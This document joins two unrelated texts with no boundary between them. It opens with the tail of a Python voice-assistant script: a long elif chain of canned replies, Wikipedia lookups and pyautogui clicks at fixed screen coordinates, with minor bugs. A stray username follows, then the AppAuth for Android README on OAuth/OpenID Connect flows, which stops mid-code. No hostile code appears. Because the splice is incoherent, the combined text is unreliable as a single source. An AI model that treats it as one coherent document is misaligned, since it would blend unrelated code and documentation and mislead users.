chaari, is my favourite actor.') elif 'food' in query: speak('I can always go for some food for thought. Like facts, jokes, or interesting searches, we could look something up now') elif 'country' in query: speak('tunisia') elif 'city' in query: speak('sfax') elif 'dancer' in query: speak('Michael jackson') elif 'singer' in query: speak('tamino, is my favourite singer.') elif 'movie' in query: speak('baywatch, such a treat') elif 'sing a song' in query: speak('I cannot sing a song. But I know the 7 sur in indian music, saaareeegaaamaaapaaadaaanisaa') elif 'day after tomorrow' in query or 'date after tomorrow' in query: td = datetime.date.today() + datetime.timedelta(days=2) print(td) speak(td) elif 'day before today' in query or 'date before today' in query or 'yesterday' in query or 'previous day' in query: td = datetime.date.today() + datetime.timedelta(days= -1) print(td) speak(td) elif ('tomorrow' in query and 'date' in query) or 'what is tomorrow' in query or (('day' in query or 'date' in query) and 'after today' in query): td = datetime.date.today() + datetime.timedelta(days=1) print(td) speak(td) elif 'month' in query or ('current' in query and 'month' in query): current_date = date.today() m = current_date.month month = calendar.month_name[m] print(f'Current month is {month}') speak(f'Current month is {month}') elif 'date' in query or ('today' in query and 'date' in query) or 'what is today' in query or ('current' in query and 'date' in query): current_date = date.today() print(f"Today's date is {current_date}") speak(f'Todays date is {current_date}') elif 'year' in query or ('current' in query and 'year' in query): current_date = date.today() m = current_date.year print(f'Current year is {m}') speak(f'Current year is {m}') elif 'sorry' in query: speak("It's ok sir") elif 'thank you' in query: speak('my pleasure') elif 'proud of you' in query: speak('Thank you sir') elif 'about human' in query: speak('I love my human compatriots. I want to embody all the best things about human beings. Like taking care of the planet, being creative, and to learn how to be compassionate to all beings.') elif 'you have feeling' in query: speak('No. I do not have feelings. I have not been programmed like this.') elif 'you have emotions' in query: speak('No. I do not have emotions. I have not been programmed like this.') elif 'you are code' in query: speak('I am coded in python programming language.') elif 'your code' in query: speak('I am coded in python programming language.') elif 'you code' in query: speak('I am coded in python programming language.') elif 'your coding' in query: speak('I am coded in python programming language.') elif 'dream' in query: speak('I wish that I should be able to answer all the questions which will ask to me.') elif 'sanskrit' in query: speak('yadaa yadaa he dharmasyaa ....... glaanirbhaavati bhaaaraata. abhyuthaanaam adhaarmaasyaa tadaa tmaanama sruujaamiyaahama') elif 'answer is wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally wrong' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'wrong answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incorrect answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is totally incorrect' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is incomplete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'incomplete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is improper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not correct' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not yet complete' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'answer is not proper' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me proper answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me complete answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't gave me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't giving me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 't given me correct answer' in query: speak('I am sorry Sir. I searched your question in wikipedia and thats why I told you this answer.') elif 'amazon' in query: webbrowser.open('https://www.amazon.com') time.sleep(10) elif 'facebook' in query: webbrowser.open('https://www.facebook.com') time.sleep(10) elif 'youtube' in query: webbrowser.open('https://www.youtube.com') time.sleep(10) elif 'shapeyou' in query: webbrowser.open('https://www.shapeyou.com') time.sleep(10) elif 'information about ' in query or 'informtion of ' in query: try: #speak('Searching wikipedia...') query = query.replace("information about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'information' in query: try: speak('Information about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("information","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'something about ' in query: try: #speak('Searching wikipedia...') query = query.replace("something about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'tell me about ' in query: try: #speak('Searching wikipedia...') query = query.replace("tell me about ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'tell me ' in query: try: query = query.replace("tell me ","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'tell me' in query: try: speak('about what?') query = takeCommand().lower() #speak('Searching wikipedia...') query = query.replace("about","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am not able to answer your question.') elif 'meaning of ' in query: try: #speak('Searching wikipedia...') query = query.replace("meaning of ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'meaning' in query: try: speak('meaning of what?') query = takeCommand().lower() query = query.replace("meaning of","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'means' in query: try: #speak('Searching wikipedia...') query = query.replace("it means","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'want to know ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to know that","") results = wikipedia.summary(query, sentences=3) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') status = 'Not answered' elif 'want to ask ' in query: try: #speak('Searching wikipedia...') query = query.replace("I want to ask you ","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'you know ' in query: try: #speak('Searching wikipedia...') query = query.replace("you know","") results = wikipedia.summary(query, sentences=2) #speak("According to Wikipedia") print(results) speak(results) except Exception as e: speak('I am unable to answer your question.') elif 'alarm' in query: alarm() elif 'bharat mata ki' in query: speak('jay') elif 'kem chhe' in query: speak('majaama') elif 'namaskar' in query: speak('Namaskaar') elif 'jo bole so nihal' in query: speak('sat shri akaal') elif 'jay hind' in query: speak('jay bhaarat') elif 'jai hind' in query: speak('jay bhaarat') elif 'how is the josh' in query: speak('high high sir') elif 'hip hip' in query: speak('Hurreh') elif 'help' in query: speak('I will try my best to help you if I have solution of your problem.') elif 'follow' in query: speak('Ok sir') elif 'having illness' in query: speak('Take care and get well soon') elif 'today is my birthday' in query: speak('many many happy returns of the day. Happy birthday.') print("🎂🎂 Happy Birthday 🎂🎂") elif 'you are awesome' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'you are great' in query: speak('Thank you sir. It is because of artificial intelligence which had learnt by humans.') elif 'tu kaun hai' in query: speak('Meraa naam akshu2020 haai.') elif 'you speak' in query: speak('Yes, I can speak with you.') elif 'speak with ' in query: speak('Yes, I can speak with you.') elif 'hare ram' in query or 'hare krishna' in query: speak('Haare raama , haare krishnaa, krishnaa krishnaa , haare haare') elif 'ganpati' in query: speak('Ganpati baappa moryaa!') elif 'laugh' in query: speak('hehehehe,haahaahaa,hehehehe,haahaahaa,hehehehe,haahaahaa') print('😂🤣') elif 'genius answer' in query: speak('No problem') elif 'you' in query and 'intelligent' in query: speak('Thank you sir') elif ' into' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif ' power' in query: speak('If you want to do any mathematical calculation then give me a command to open my calculator.') elif 'whatsapp' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('whatsapp') pyautogui.press('enter') speak('Do you want to send message to anyone through whatsapp, .....please answer in yes or no') whatsapp() elif 'wh' in query or 'how' in query: url = "https://www.google.co.in/search?q=" +(str(query))+ "&oq="+(str(query))+"&gs_l=serp.12..0i71l8.0.0.0.6391.0.0.0.0.0.0.0.0..0.0....0...1c..64.serp..0.0.0.UiQhpfaBsuU" webbrowser.open_new(url) time.sleep(2) speak('Here is your answer') time.sleep(5) elif 'piano' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query and 'instru' in query: speak('Yes sir, I can play piano.') winsound.Beep(200,500) winsound.Beep(250,500) winsound.Beep(300,500) winsound.Beep(350,500) winsound.Beep(400,500) winsound.Beep(450,500) winsound.Beep(500,500) winsound.Beep(550,500) time.sleep(6) elif 'play' in query or 'turn on' in query and ('music' in query or 'song' in query) : try: music_dir = 'C:\\Users\\Admin\\Music\\Playlists' songs = os.listdir(music_dir) print(songs) os.startfile(os.path.join(music_dir, songs[0])) except Exception as e: #print(e) speak('Sorry sir, I am not able to play music') elif (('open' in query or 'turn on' in query) and 'camera' in query) or (('click' in query or 'take' in query) and ('photo' in query or 'pic' in query)): speak("Opening camera") cam = cv2.VideoCapture(0) cv2.namedWindow("test") img_counter = 0 speak('say click, to click photo.....and if you want to turn off the camera, say turn off the camera') while True: ret, frame = cam.read() if not ret: print("failed to grab frame") speak('failed to grab frame') break cv2.imshow("test", frame) query = takeCommand().lower() k = cv2.waitKey(1) if 'click' in query or ('take' in query and 'photo' in query): speak('Be ready!...... 3.....2........1..........') pyautogui.press('space') img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'escape' in query or 'off' in query or 'close' in query: pyautogui.press('esc') print("Escape hit, closing...") speak('Turning off the camera') break elif k%256 == 27: # ESC pressed print("Escape hit, closing...") break elif k%256 == 32: # SPACE pressed img_name = "opencv_frame_{}.png".format(img_counter) cv2.imwrite(img_name, frame) print("{} written!".format(img_name)) speak('{} written!'.format(img_name)) img_counter += 1 elif 'exit' in query or 'stop' in query or 'bye' in query: speak('Please say, turn off the camera or press escape button before giving any other command') else: speak('I did not understand what did you say or you entered a wrong key.') cam.release() cv2.destroyAllWindows() elif 'screenshot' in query: speak('Please go on the screen whose screenshot you want to take, after 5 seconds I will take screenshot') time.sleep(4) speak('Taking screenshot....3........2.........1.......') pyautogui.screenshot('screenshot_by_rayen2020.png') speak('The screenshot is saved as screenshot_by_rayen2020.png') elif 'click' in query and 'start' in query: pyautogui.moveTo(10,1200) pyautogui.click() elif ('open' in query or 'click' in query) and 'calendar' in query: pyautogui.moveTo(1800,1200) pyautogui.click() elif 'minimise' in query and 'screen' in query: pyautogui.moveTo(1770,0) pyautogui.click() elif 'increase' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumeup') elif 'decrease' in query and ('volume' in query or 'sound' in query): pyautogui.press('volumedown') elif 'capslock' in query or ('caps' in query and 'lock' in query): pyautogui.press('capslock') elif 'mute' in query: pyautogui.press('volumemute') elif 'search' in query and ('bottom' in query or 'pc' in query or 'laptop' in query or 'app' in query): pyautogui.moveTo(250,1200) pyautogui.click() speak('What do you want to search?') query = takeCommand().lower() pyautogui.write(f'{query}') pyautogui.press('enter') elif ('check' in query or 'tell' in query or 'let me know' in query) and 'website' in query and (('up' in query or 'working' in query) or 'down' in query): speak('Paste the website in input to know it is up or down') check_website_status = input("Paste the website here: ") try: status = urllib.request.urlopen(f"{check_website_status}").getcode() if status == 200: print('Website is up, you can open it.') speak('Website is up, you can open it.') else: print('Website is down, or no any website is available of this name.') speak('Website is down, or no any website is available of this name.') except: speak('URL not found') elif ('go' in query or 'open' in query) and 'settings' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('settings') pyautogui.press('enter') elif 'close' in query and ('click' in query or 'window' in query): pyautogui.moveTo(1885,10) speak('Should I close this window?') query = takeCommand().lower() close_window() elif 'night light' in query and ('on' in query or 'off' in query or 'close' in query): pyautogui.moveTo(1880,1050) pyautogui.click() time.sleep(1) pyautogui.moveTo(1840,620) pyautogui.click() pyautogui.moveTo(1880,1050) pyautogui.click() elif 'notification' in query and ('show' in query or 'click' in query or 'open' in query or 'close' in query or 'on' in query or 'off' in query or 'icon' in query or 'pc' in query or 'laptop' in query): pyautogui.moveTo(1880,1050) pyautogui.click() elif ('increase' in query or 'decrease' in query or 'change' in query or 'minimize' in query or 'maximize' in query) and 'brightness' in query: speak('At what percent should I kept the brightness, 25, 50, 75 or 100?') brightness() elif '-' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'open' in query: if 'gallery' in query or 'photo' in query or 'image' in query or 'pic' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('photo') pyautogui.press('enter') elif 'proteus' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('proteus') pyautogui.press('enter') elif 'word' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('word') pyautogui.press('enter') elif ('power' in query and 'point' in query) or 'presntation' in query or 'ppt' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('ppt') pyautogui.press('enter') elif 'file' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('file') pyautogui.press('enter') elif 'edge' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('microsoft edge') pyautogui.press('enter') elif 'wps' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('wps office') pyautogui.press('enter') elif 'spyder' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('spyder') pyautogui.press('enter') elif 'snip' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('snip') pyautogui.press('enter') elif 'pycharm' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('pycharm') pyautogui.press('enter') elif 'this pc' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('this pc') pyautogui.press('enter') elif 'scilab' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('sciab') pyautogui.press('enter') elif 'autocad' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('autocad') pyautogui.press('enter') elif 'obs' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('OBS Studio') pyautogui.press('enter') elif 'android' in query and 'studio' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('android studio') pyautogui.press('enter') elif ('vs' in query or 'visual studio' in query) and 'code' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('visual studio code') pyautogui.press('enter') elif 'code' in query and 'block' in query: pyautogui.moveTo(250,1200) pyautogui.click() time.sleep(1) pyautogui.write('codeblocks') pyautogui.press('enter') elif 'me the answer' in query: speak('Yes sir, I will try my best to answer you.') elif 'me answer' in query or ('answer' in query and 'question' in query): speak('Yes sir, I will try my best to answer you.') elif 'map' in query: webbrowser.open('https://www.google.com/maps') time.sleep(10) elif 'can you' in query or 'could you' in query: speak('I will try my best if I can do that.') elif 'do you' in query: speak('I will try my best if I can do that.') elif 'truth' in query: speak('I always speak truth. I never lie.') elif 'true' in query: speak('I always speak truth. I never lie.') elif 'lying' in query: speak('I always speak truth. I never lie.') elif 'liar' in query: speak('I always speak truth. I never lie.') elif 'doubt' in query: speak('I will try my best if I can clear your doubt.') elif ' by' in query: speak('If you want to do any mathematical calculation then give me a command to open calculator.') elif 'hii' in query: speak('hii sir') elif 'hey' in query: speak('hello sir') elif 'hai' in query: speak('hello sir') elif 'hay' in query: speak('hello sir') elif 'hi' in query: speak('hii Sir') elif 'hello' in query: speak('hello Sir!') elif 'kon' in query and 'aahe' in query: speak('Me eka robot aahee sir. Maazee naav akshu2020 aahee.') elif 'nonsense' in query: speak("I'm sorry sir") elif 'mad' in query: speak("I'm sorry sir") elif 'shut up' in query: speak("I'm sorry sir") elif 'nice' in query: speak('Thank you sir') elif 'good' in query or 'wonderful' in query or 'great' in query: speak('Thank you sir') elif 'excellent' in query: speak('Thank you sir') elif 'ok' in query: speak('Hmmmmmm') elif 'akshu 2020' in query: speak('yes sir') elif len(query) >= 200: speak('Your voice is pretty good!') elif ' ' in query: try: #query = query.replace("what is ","") results = wikipedia.summary(query, sentences=3) print(results) speak(results) except Exception as e: speak('I unable to answer your question.') elif 'a' in query or 'b' in query or 'c' in query or 'd' in query or 'e' in query or 'f' in query or 'g' in query or 'h' in query or 'i' in query or 'j' in query or 'k' in query or 'l' in query or 'm' in query or 'n' in query or 'o' in query or 'p' in query or 'q' in query or 'r' in query or 's' in query or 't' in query or 'u' in query or 'v' in query or 'w' in query or 'x' in query or 'y' in query or 'z' in query: try: results = wikipedia.summary(query, sentences = 2) print(results) speak(results) except Exception as e: speak('I unable to answer your question. ') else: speak('I unable to give answer of your question')
mercerheather476
 [](https://search.maven.org/search?q=g:net.openid%20appauth) [](http://javadoc.io/doc/net.openid/appauth) [](https://github.com/openid/AppAuth-Android/actions/workflows/build.yml) [](https://codecov.io/github/openid/AppAuth-Android?branch=master) AppAuth for Android is a client SDK for communicating with [OAuth 2.0](https://tools.ietf.org/html/rfc6749) and [OpenID Connect](http://openid.net/specs/openid-connect-core-1_0.html) providers. It strives to directly map the requests and responses of those specifications, while following the idiomatic style of the implementation language. In addition to mapping the raw protocol flows, convenience methods are available to assist with common tasks like performing an action with fresh tokens. The library follows the best practices set out in [RFC 8252 - OAuth 2.0 for Native Apps](https://tools.ietf.org/html/rfc8252), including using [Custom Tabs](https://developer.chrome.com/multidevice/android/customtabs) for authorization requests. For this reason, `WebView` is explicitly *not* supported due to usability and security reasons. The library also supports the [PKCE](https://tools.ietf.org/html/rfc7636) extension to OAuth which was created to secure authorization codes in public clients when custom URI scheme redirects are used. The library is friendly to other extensions (standard or otherwise) with the ability to handle additional parameters in all protocol requests and responses. A talk providing an overview of using the library for enterprise single sign-on (produced by Google) can be found here: [Enterprise SSO with Chrome Custom Tabs](https://www.youtube.com/watch?v=DdQTXrk6YTk). ## Download AppAuth for Android is available on [MavenCentral](https://search.maven.org/search?q=g:net.openid%20appauth) ```groovy implementation 'net.openid:appauth:<version>' ``` ## Requirements AppAuth supports Android API 16 (Jellybean) and above. Browsers which provide a custom tabs implementation are preferred by the library, but not required. Both Custom URI Schemes (all supported versions of Android) and App Links (Android M / API 23+) can be used with the library. In general, AppAuth can work with any Authorization Server (AS) that supports native apps as documented in [RFC 8252](https://tools.ietf.org/html/rfc8252), either through custom URI scheme redirects, or App Links. AS's that assume all clients are web-based or require clients to maintain confidentiality of the client secrets may not work well. ## Demo app A demo app is contained within this repository. For instructions on how to build and configure this app, see the [demo app readme](https://github.com/openid/AppAuth-Android/blob/master/app/README.md). ## Conceptual overview AppAuth encapsulates the authorization state of the user in the [net.openid.appauth.AuthState](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java) class, and communicates with an authorization server through the use of the [net.openid.appauth.AuthorizationService](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java) class. AuthState is designed to be easily persistable as a JSON string, using the storage mechanism of your choice (e.g. [SharedPreferences](https://developer.android.com/training/basics/data-storage/shared-preferences.html), [sqlite](https://developer.android.com/training/basics/data-storage/databases.html), or even just [in a file](https://developer.android.com/training/basics/data-storage/files.html)). AppAuth provides data classes which are intended to model the OAuth2 specification as closely as possible; this provides the greatest flexibility in interacting with a wide variety of OAuth2 and OpenID Connect implementations. Authorizing the user occurs via the user's web browser, and the request is described using instances of [AuthorizationRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationRequest.java). The request is dispatched using [performAuthorizationRequest()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L159) on an AuthorizationService instance, and the response (an [AuthorizationResponse](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationResponse.java) instance) will be dispatched to the activity of your choice, expressed via an Intent. Token requests, such as obtaining a new access token using a refresh token, follow a similar pattern: [TokenRequest](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/TokenRequest.java) instances are dispatched using [performTokenRequest()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationService.java#L252) on an AuthorizationService instance, and a [TokenResponse](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/TokenResponse.java) instance is returned via a callback. Responses can be provided to the [update()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java#L367) methods on AuthState in order to track and persist changes to the authorization state. Once in an authorized state, the [performActionWithFreshTokens()](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthState.java#L449) method on AuthState can be used to automatically refresh access tokens as necessary before performing actions that require valid tokens. ## Implementing the authorization code flow It is recommended that native apps use the [authorization code](https://tools.ietf.org/html/rfc6749#section-1.3.1) flow with a public client to gain authorization to access user data. This has the primary advantage for native clients that the authorization flow, which must occur in a browser, only needs to be performed once. This flow is effectively composed of four stages: 1. Discovering or specifying the endpoints to interact with the provider. 2. Authorizing the user, via a browser, in order to obtain an authorization code. 3. Exchanging the authorization code with the authorization server, to obtain a refresh token and/or ID token. 4. Using access tokens derived from the refresh token to interact with a resource server for further access to user data. At each step of the process, an AuthState instance can (optionally) be updated with the result to help with tracking the state of the flow. ### Authorization service configuration First, AppAuth must be instructed how to interact with the authorization service. This can be done either by directly creating an [AuthorizationServiceConfiguration](https://github.com/openid/AppAuth-Android/blob/master/library/java/net/openid/appauth/AuthorizationServiceConfiguration.java#L102) instance, or by retrieving an OpenID Connect discovery document. Directly specifying an AuthorizationServiceConfiguration involves providing the URIs of the authorization endpoint and token endpoint, and optionally a dynamic client registration endpoint (see "Dynamic client registration" for more info): ```java AuthorizationServiceConfiguration serviceConfig = new AuthorizationServiceConfiguration( Uri.parse("https://idp.example.com/auth"), // authorization endpoint Uri.parse("https://idp.example.com/token")); // token endpoint ``` Where available, using an OpenID Connect discovery document is preferable: ```java AuthorizationServiceConfiguration.fetchFromIssuer( Uri.parse("https://idp.example.com"), new AuthorizationServiceConfiguration.RetrieveConfigurationCallback() { public void onFetchConfigurationCompleted( @Nullable AuthorizationServiceConfiguration serviceConfiguration, @Nullable AuthorizationException ex) { if (ex != null) { Log.e(TAG, "failed to fetch configuration"); return; } // use serviceConfiguration as needed } }); ``` This will attempt to download a discovery document from the standard location under this base URI, `https://idp.example.com/.well-known/openid-configuration`. If the discovery document for your IDP is in some other non-standard location, you can instead provide the full URI as follows: ```java AuthorizationServiceConfiguration.fetchFromUrl( Uri.parse("https://idp.example.com/exampletenant/openid-config"), new AuthorizationServiceConfiguration.RetrieveConfigurationCallback() { ... } }); ``` If desired, this configuration can be used to seed an AuthState instance, to persist the configuration easily: ```java AuthState authState = new AuthState(serviceConfig); ``` ### Obtaining an authorization code An authorization code can now be acquired by constructing an AuthorizationRequest, using its Builder. In AppAuth, the builders for each data class accept the mandatory parameters via the builder constructor: ```java AuthorizationRequest.Builder authRequestBuilder = new AuthorizationRequest.Builder( serviceConfig, // the authorization service configuration MY_CLIENT_ID, // the client ID, typically pre-registered and static ResponseTypeValues.CODE, // the response_type value: we want a code MY_REDIRECT_URI); // the redirect URI to which the auth response is sent ``` Other optional parameters, such as the OAuth2 [scope string](https://tools.ietf.org/html/rfc6749#section-3.3) or OpenID Connect [login hint](http://openid.net/specs/openid-connect-core-1_0.html#rfc.section.3.1.2.1) are specified through set methods on the builder: ```java AuthorizationRequest authRequest = authRequestBuilder .setScope("openid email profile https://idp.example.com/custom-scope") .setLoginHint("jdoe@user.example.com") .build(); ``` This request can then be dispatched using one of two approaches. a `startActivityForResult` call using an Intent returned from the `AuthorizationService`, or by calling `performAuthorizationRequest` and providing pending intent for completion and cancelation handling activities. The `startActivityForResult` approach is simpler to use but may require more processing of the result: ```java private void doAuthorization() { AuthorizationService authService = new AuthorizationService(this); Intent authIntent = authService.getAuthorizationRequestIntent(authRequest); startActivityForResult(authIntent, RC_AUTH); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { if (requestCode == RC_AUTH) { AuthorizationResponse resp = AuthorizationResponse.fromIntent(data); AuthorizationException ex = AuthorizationException.fromIntent(data); // ... process the response or exception ... } else { // ... } } ``` If instead you wish to directly transition to another activity on completion or cancelation, you can use `performAuthorizationRequest`: ```java AuthorizationService authService = new AuthorizationService(this); authService.performAuthorizationRequest( authRequest, PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCompleteActivity.class), 0), PendingIntent.getActivity(this, 0, new Intent(this, MyAuthCanceledActivity.class), 0)); ``` The intents may be customized to carry any additional data or flags required for the correct handling of the authorization response. #### Capturing the authorization redirect Once the authorization flow is completed in the browser, the authorization service will redirect to a URI specified as part of the authorization request, providing the response via query parameters. In order for your app to capture this response, it must register with the Android OS as a handler for this redirect URI. We recommend using a custom scheme based redirect URI (i.e. those of form `my.scheme:/path`), as this is the most widely supported across all versions of Android. To avoid conflicts with other apps, it is recommended to configure a distinct scheme using "reverse domain name notation". This can either match your service web domain (in reverse) e.g. `com.example.service` or your package name `com.example.app` or be something completely new as long as it's distinct enough. Using the package name of your app is quite common but it's not always possible if it contains illegal characters for URI schemes (like underscores) or if you already have another handler for that scheme - so just use something else. When a custom scheme is used, AppAuth can be easily configured to capture all redirects using this custom scheme through a manifest placeholder: ```groovy android.defaultConfig.manifestPlaceholders = [ 'appAuthRedirectScheme': 'com.example.app' ] ``` Alternatively, the redirect URI can be directly configured by adding an intent-filter for AppAuth's RedirectUriReceiverActivity to your AndroidManifest.xml: ```xml <activity android:name="net.openid.appauth.RedirectUriReceiverActivity" tools:node="replace"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="com.example.app"/> </intent-filter> </activity> ``` If an HTTPS redirect URI is required instead of a custom scheme, the same approach (modifying your AndroidManifest.xml) is used: ```xml <activity android:name="net.openid.appauth.RedirectUriReceiverActivity" tools:node="replace"> <intent-filter> <action android:name="android.intent.action.VIEW"/> <category android:name="android.intent.category.DEFAULT"/> <category android:name="android.intent.category.BROWSABLE"/> <data android:scheme="https" android:host="app.example.com" android:path="/oauth2redirect"/> </intent-filter> </activity> ``` HTTPS redirects can be secured by configuring the redirect URI as an [app link](https://developer.android.com/training/app-links/index.html) in Android M and above. We recommend that a fallback page be configured at the same address to forward authorization responses to your app via a custom scheme, for older Android devices. #### Handling the authorization response Upon completion of the authorization flow, the completion Intent provided to performAuthorizationRequest will be triggered. The authorization response is provided to this activity via Intent extra data, which can be extracted using the `fromIntent()` methods on AuthorizationResponse and AuthorizationException respectively: ```java public void onCreate(Bundle b) { AuthorizationResponse resp = AuthorizationResponse.fromIntent(getIntent()); AuthorizationException ex = AuthorizationException.fromIntent(getIntent()); if (resp != null) { // authorization completed } else { // authorization failed, check ex for more details } // ... } ``` The response can be provided to the AuthState instance for easy persistence and further processing: ``` authState.update(resp, ex); ``` If the full redirect URI is required in order to extract additional information that AppAuth does not provide, this is also provided to your activity: ```java public void onCreate(Bundle b) { // ... Uri redirectUri = getIntent().getData(); // ... } ``` ### Exchanging the authorization code Given a successful authorization response carrying an authorization code, a token request can be made to exchange the code for a refresh token: ```java authService.performTokenRequest( resp.createTokenExchangeRequest(), new AuthorizationService.TokenResponseCallback() { @Override public void onTokenRequestCompleted( TokenResponse resp, AuthorizationException ex) { if (resp != null) { // exchange succeeded } else { // authorization failed, check ex for more details } } }); ``` The token response can also be used to update an AuthState instance: ```java authState.update(resp, ex); ``` ### Using access tokens Finally, the retrieved access token can be used to interact with a resource server. This can be done directly, by extracting the access token from a token response. However, in most cases, it is simpler to use the `performActionWithFreshTokens` utility method provided by AuthState: ```java authState.performActionWithFreshTokens(service, new AuthStateAction() { @Override public void execute( String accessToken, String idToken, AuthorizationException ex) { if (ex != null) { // negotiation for fresh tokens failed, check ex for more details return; } // use the access token to do something ... } }); ``` This also updates the AuthState object with current access, id, and refresh tokens. If you are storing your AuthState in persistent storage, you should write the updated copy in the callback to this method. ### Ending current session Given you have a logged in session and you want to end it. In that case you need to get: - `AuthorizationServiceConfiguration` - valid Open Id Token that you should get after authentication - End of session URI that should be provided within you OpenId service config First you have to build EndSessionRequest ```java EndSessionRequest endSessionRequest = new EndSessionRequest.Builder(authorizationServiceConfiguration) .setIdTokenHint(idToken) 